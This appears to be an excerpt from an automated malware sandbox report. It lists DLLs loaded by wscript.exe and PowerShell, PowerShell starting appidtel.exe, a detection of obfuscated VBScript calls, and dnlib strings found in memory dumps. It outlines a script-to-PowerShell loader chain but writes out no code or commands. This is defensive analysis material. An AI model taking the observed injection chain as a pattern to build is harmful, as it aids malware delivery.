Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\appidtel.exe "C:\Windows\SysWOW64\appidtel.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

VBScript performs obfuscated calls to suspicious functions

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.1769352732.00007FFB4A210000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: appidtel.exe, appidtel.exe, 0000000B.00000002.1841958325.000000000356E000.00000040.00001000.00020000.00000000.sdmp, appidtel.exe, 0000000B.00000003.1808603345.0000000003225000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000B.00000003.1806418136.0000000003079000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000B.00000002.1841958325.00000000033D0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.pdb('D>'D 0'D_CorDllMainmscoree.dll source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: appidtel.exe, 0000000B.00000002.1841958325.000000000356E000.00000040.00001000.00020000.00000000.sdmp, appidtel.exe, 0000000B.00000003.1808603345.0000000003225000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000B.00000003.1806418136.0000000003079000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000B.00000002.1841958325.00000000033D0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17K source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.1769352732.00007FFB4A210000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.pdb source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
